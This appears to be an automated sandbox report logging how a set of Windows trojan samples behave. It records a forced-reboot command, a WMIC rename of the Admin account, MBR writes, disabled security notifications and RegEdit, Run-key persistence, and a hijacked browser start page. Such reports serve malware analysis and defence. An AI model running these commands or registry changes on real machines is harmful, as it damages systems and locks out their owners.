C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' rename 'No System Anymore'

C:\Windows\SysWOW64\shutdown.exe

shutdown /f /r /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x4 /state0:0xa399e855 /state1:0x41c64e6d

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp

Files

memory/2568-0-0x0000000074DC0000-0x0000000075570000-memory.dmp

memory/2568-1-0x00000000004F0000-0x0000000000BBA000-memory.dmp

memory/2568-2-0x0000000005B70000-0x0000000006114000-memory.dmp

memory/2568-3-0x0000000005660000-0x00000000056F2000-memory.dmp

memory/2568-4-0x00000000058E0000-0x00000000058F0000-memory.dmp

memory/2568-5-0x00000000055C0000-0x00000000055CA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\z666.bat

MD5 ee655674ba8e05d5a4c32de58a6757c1
SHA1 f06f54710d5a0b341a9e6d467e1bb1a78f2f9606
SHA256 40cc0b6734258fc61e9940e359b7e0b84651e44a12943bb4381523a5cea325ef
SHA512 26bc97bff5612643c379776baf3637f7233748e7ecd8d8b94aa995e0a77d79c4c02d49ed98ef1bdc6d417bcf82e35069427692967c73d3b3899aff3868c93ebd

C:\Users\Admin\AppData\Local\Temp\NoSystemAnymore.exe

MD5 ef4e8ea4440efc48d5cd1a05a3a6f2a8
SHA1 74b5a40d4d9cb94ac7ed93b1cf9045539e50f068
SHA256 b1f25de77226ad8cf0e06226653e1c5aa7ac27a1ba8ba7bff8845685c2e53709
SHA512 f7aaa82dacf0ceee3f8311c787a568fdbe0b322d47371ddab37427902ceb74d0b324d6335878366d40f4d5d2b04b00157b81c8bd7b5c7b27fdcd26c770c13bf4

C:\Users\Admin\AppData\Local\Temp\bsod.exe

MD5 f1896231e9622dd044601962a9866a77
SHA1 36ad39e7d797ae43ee415e90a2dc234e0be3087b
SHA256 a254d664351a6db50d98bebbd530c46e64f9b9455bf4f378254045b2cde971f8
SHA512 e4004c3879b2b337260848e748c9d0b5e51bb4c8a8c317e44cedfe30e614391c329d1c07e7b052983897cc1010eee994c09cb370f721317f9c429c1d82e50901

memory/2568-20-0x00000000058E0000-0x00000000058F0000-memory.dmp

memory/2568-21-0x0000000074DC0000-0x0000000075570000-memory.dmp

memory/2568-22-0x00000000058E0000-0x00000000058F0000-memory.dmp

memory/2568-23-0x00000000058E0000-0x00000000058F0000-memory.dmp

C:\Users\Admin\Desktop\NO WAY NO WAY NO WAY NO WAY NO WAY NO WAY NO WAY N1 WAY.txt

MD5 391403276c6df4a164b0544a3411c6c7
SHA1 c4c06a4c7710d1d8140b07abd4b7bcd4187485ab
SHA256 524dcba7e6a293bc6a19c1522672598a71ff4def394ac696ec30ea99154d511b
SHA512 2b0b05f4e8241ec07bd35f1a40113be5fa8689d5bfb8a4064a5c8dc119b10fe40b33697ad2e3195c068fa8cce5d7a860dbbbffebb45d8a9fc1ec121b6a5216f8

memory/2568-825-0x0000000074DC0000-0x0000000075570000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win7-20240221-en

Max time kernel

117s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe"

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1048 wrote to memory of 2232 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe C:\Windows\system32\cmd.exe
PID 1048 wrote to memory of 2232 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe C:\Windows\system32\cmd.exe
PID 1048 wrote to memory of 2232 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\EA1.tmp\EA2.tmp\EA3.bat C:\Users\Admin\AppData\Local\Temp\Trojan\+.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\EA1.tmp\EA2.tmp\EA3.bat

MD5 cffeffdd19a93f72fce9ae0b27fc7d41
SHA1 d51f874d7e1dbce87a6615db19e3bb3cd7918050
SHA256 f66989c140003a23e046dc0fd1f14d3ffee42e55b86c6f406c23406090005fbc
SHA512 197241112fd18486acbddeee1211ed801bbc1fb061b1a4a4917f67b7855c015d6ebf60ae16226733ecccd95d8ecd95c65c9eb49dbf1a9443076c4193380ac26b

Analysis: behavioral22

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win10v2004-20240226-en

Max time kernel

150s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2340 wrote to memory of 4572 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe C:\Windows\system32\cmd.exe
PID 2340 wrote to memory of 4572 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\48D0.tmp\48E1.tmp\48E2.bat C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 5.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 195.177.78.104.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 64.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 29.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 50.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 37.179.17.96.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\48D0.tmp\48E1.tmp\48E2.bat

MD5 ffa0ad441b308bc1da589f8a734e806f
SHA1 704fc5c8773489b91d2f1ef221ab60ecd3257e3e
SHA256 c0f46b9a7fc82f7007adc96523159ae10571a099eeb0cc00eb930e91424a24a1
SHA512 bfeec821a3b26270e52990799d1c525845203ece47989c161cfa9ecf02675122d8bf1ef8dc3f3db199825d50fd6f4ee54312d8bf4ed827681284e715a6fac55b

Analysis: behavioral19

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:31

Platform

win7-20240215-en

Max time kernel

69s

Max time network

50s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

Signatures

Windows security bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A

Disables RegEdit via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" \??\c:\windows\antivirus-platinum.exe N/A

ACProtect 1.3x - 1.4x DLL software

Description Indicator Process Target
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
N/A N/A N/A N/A
N/A N/A C:\WINDOWS\302746537.exe N/A
N/A N/A \??\c:\windows\antivirus-platinum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Windows security modification

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" \??\c:\windows\antivirus-platinum.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\Antivirus = "\"C:\\Program Files (x86)\\AnVi\\avt.exe\" -noscan" C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\AnVi\splash.mp3 C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
File created C:\Program Files (x86)\AnVi\virus.mp3 C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\__tmp_rar_sfx_access_check_259406714 C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\antivirus-platinum.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\antivirus-platinum.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\COMCTL32.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\windows\antivirus-platinum.exe C:\Windows\SysWOW64\attrib.exe N/A
File opened for modification C:\Windows\COMCTL32.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\MSCOMCTL.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\MSCOMCTL.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\302746537.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\302746537.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A

Enumerates physical storage devices

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main\Window Title = "YOUR PC MAY BE INFECTED WITH SPYWARE OR OTHER MALICIOUS ITEMS" \??\c:\windows\antivirus-platinum.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main\Use FormSuggest = "Yes" C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
Key created \REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main \??\c:\windows\antivirus-platinum.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main \??\c:\windows\antivirus-platinum.exe N/A

Modifies Internet Explorer start page

stealer
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main\Start Page = "http://secureservices2010.webs.com/scan" \??\c:\windows\antivirus-platinum.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Start Page = "http://secureservices2010.webs.com/scan" \??\c:\windows\antivirus-platinum.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{2C787A50-E01C-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{373FF7F1-EB8B-11CD-8820-08002B2F4F5A}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{2C247F23-8591-11D1-B16A-00C0F0283628}\MiscStatus\1\ = "165265" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{8E3867A3-8586-11D1-B16A-00C0F0283628}\MiscStatus C:\Windows\SysWOW64\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C27CCE3A-8596-11D1-B16A-00C0F0283628}\InprocServer32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1EFB6595-857C-11D1-B16A-00C0F0283628}\ = "ITabStripEvents" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F08DF953-8592-11D1-B16A-00C0F0283628}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{6B7E6391-850A-101B-AFC0-4210102A8DA7}\ = "IStatusBarEvents" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E82-DF38-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{58DA8D91-9D6A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{58DA8D90-9D6A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{6B7E6390-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A1-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0713E8A4-850A-101B-AFC0-4210102A8DA7}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{58DA8D94-9D6A-101B-AFC0-4210102A8DA7}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{F08DF954-8592-11D1-B16A-00C0F0283628}\MiscStatus\1\ = "131473" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{DD9DA666-8594-11D1-B16A-00C0F0283628}\Implemented Categories C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\Implemented Categories C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{2C787A50-E01C-11CF-8E74-00A0C90F26F8} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BF877896-E026-11CF-8E74-00A0C90F26F8}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E80-DF38-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.SBarCtrl\CurVer\ = "MSComctlLib.SBarCtrl.2" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C27CCE32-8596-11D1-B16A-00C0F0283628} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Toolbar\CurVer C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A3-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8AF-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{2C247F23-8591-11D1-B16A-00C0F0283628}\InprocServer32\ = "c:\\windows\\mscomctl.ocx" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{66833FE7-8583-11D1-B16A-00C0F0283628}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{373FF7F0-EB8B-11CD-8820-08002B2F4F5A}\MiscStatus\1\ = "131473" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{2C247F23-8591-11D1-B16A-00C0F0283628}\Programmable C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A3-850A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{2C247F23-8591-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{DD9DA666-8594-11D1-B16A-00C0F0283628}\Implemented Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F055-858B-11D1-B16A-00C0F0283628} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E86-DF38-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{E6E17E80-DF38-11CF-8E74-00A0C90F26F8}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0713E8A5-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C74190B8-8589-11D1-B16A-00C0F0283628} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F04A-858B-11D1-B16A-00C0F0283628}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{8556BCD0-E01E-11CF-8E74-00A0C90F26F8}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0713E791-850A-101B-AFC0-4210102A8DA7}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{66833FE4-8583-11D1-B16A-00C0F0283628} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{66833FEB-8583-11D1-B16A-00C0F0283628}\ = "IButtonMenus" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{5ACBB955-5C57-11CF-8993-00AA00688B10}\InprocServer32\ = "c:\\windows\\comctl32.ocx" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C27CCE39-8596-11D1-B16A-00C0F0283628}\ = "StatusBar General Property Page Object" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A4-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.ListViewCtrl.2 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C74190B4-8589-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{F4D83602-895E-11D0-B0A6-000000000000}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BF877896-E026-11CF-8E74-00A0C90F26F8}\ = "IColumnHeader11" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{8E3867A3-8586-11D1-B16A-00C0F0283628}\ = "Microsoft StatusBar Control 6.0 (SP4)" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E88-DF38-11CF-8E74-00A0C90F26F8}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E8A-DF38-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7791BA60-E020-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8AE-850A-101B-AFC0-4210102A8DA7}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BF877890-E026-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.TreeCtrl.2 C:\Windows\SysWOW64\regsvr32.exe N/A
